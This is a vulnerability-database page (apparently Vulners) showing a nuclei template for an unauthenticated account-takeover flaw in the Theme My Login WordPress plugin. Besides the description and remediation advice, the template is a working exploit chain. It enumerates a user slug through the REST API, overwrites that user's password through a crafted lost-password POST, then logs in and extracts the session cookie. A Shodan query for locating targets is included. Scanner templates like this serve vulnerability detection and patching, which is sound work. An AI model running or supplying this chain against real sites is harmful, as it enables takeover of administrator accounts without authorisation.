Lucene search
+L

Theme My Login <= 7.2.1 - Privilege Escalation

🗓️ 01 Nov 2026 02:03:41Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 18 Views

Unauthenticated account takeover in Theme My Login for WordPress multisite installations.

Related
Refs
Code
id: CVE-2026-89079

info:
  name: Theme My Login <= 7.2.1 - Privilege Escalation
  author: DhiyaneshDk
  severity: critical
  description: |
    Theme My Login (TML) <= 7.2.1 for WordPress is vulnerable to unauthenticated account takeover on multisite installations. The multisite-only filter tml_ms_filter_pre_insert_user_data(), hooked on wp_pre_insert_user_data, hashes and injects $_POST['user_pass1'] into the user record whenever the tml_user_passwords network option is enabled, WITHOUT checking the $update flag. During a lost password request (wp-login.php?action=lostpassword -> retrieve_password() -> wp_update_user()), this filter fires on the EXISTING target user, overwriting their password with an attacker-chosen value. An unauthenticated attacker can therefore take over any account, including a network administrator, by sending user_pass1 in the lost-password POST. Fixed in 7.2.2 (changeset 3696081 / commit 06b76231) by adding the $update guard and only applying the password during activation.
  impact: |
    Complete unauthenticated account takeover of any user (including network administrators) on WordPress multisite installations running Theme My Login <= 7.2.1 with tml_user_passwords enabled.
  remediation: |
    Update Theme My Login to 7.2.2 or later. As mitigation, disable the tml_user_passwords network option until patched.
  reference:
    - https://patchstack.com/database/wordpress/plugin/theme-my-login/vulnerability/wordpress-theme-my-login-plugin-7-2-1-unauthenticated-privilege-escalation-vulnerability
    - https://plugins.trac.wordpress.org/changeset/3696081/theme-my-login
    - https://github.com/theme-my-login/theme-my-login/commit/06b76231b86150eed932db52646734486ecd0781
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89079
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-89079
    epss-score: 0.01631
    epss-percentile: 0.7623
    cwe-id: CWE-269
  metadata:
    verified: true
    max-request: 3
    vendor: theme-my-login
    product: theme-my-login
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/theme-my-login"
  tags: cve,cve2026,wordpress,wp-plugin,theme-my-login,privilege-escalation,account-takeover,multisite,intrusive,vkev

variables:
  new_pass: "Tml{{rand_base(10)}}!Xk9"

flow: |
  http(1);
  if (template["target_user"]) {
    http(2);
    http(3);
  }

http:
  - raw:
      - |
        GET /wp-json/wp/v2/users?per_page=1&orderby=id&order=asc HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "slug")'
        internal: true

    extractors:
      - type: json
        name: target_user
        part: body
        json:
          - '.[0].slug'
        internal: true

  - raw:
      - |
        POST /wp-login.php?action=lostpassword HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html, */*

        user_login={{target_user}}&user_pass1={{new_pass}}&user_pass2={{new_pass}}&redirect_to=&wp-submit=Get+New+Password&action=lostpassword

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP Cookie check
        Accept: text/html, */*

        log={{target_user}}&pwd={{new_pass}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
          - 'contains(header, "wp-admin")'
        condition: and

    extractors:
      - type: regex
        name: logged_in_as
        part: header
        group: 1
        regex:
          - "wordpress_logged_in[^=]*=([^%]+)%7C"
# digest: 4a0a00473045022020ce2e3a6eab5b790f36e70a5e65500c1b32a52023ebc39dc3d18fea75043934022100b3ac58d2950945e31d27c629f648e9fbfd1337fb2658cf92da384a1b7df1e783:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Oct 2026 23:09Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
EPSS0.01631
SSVC
18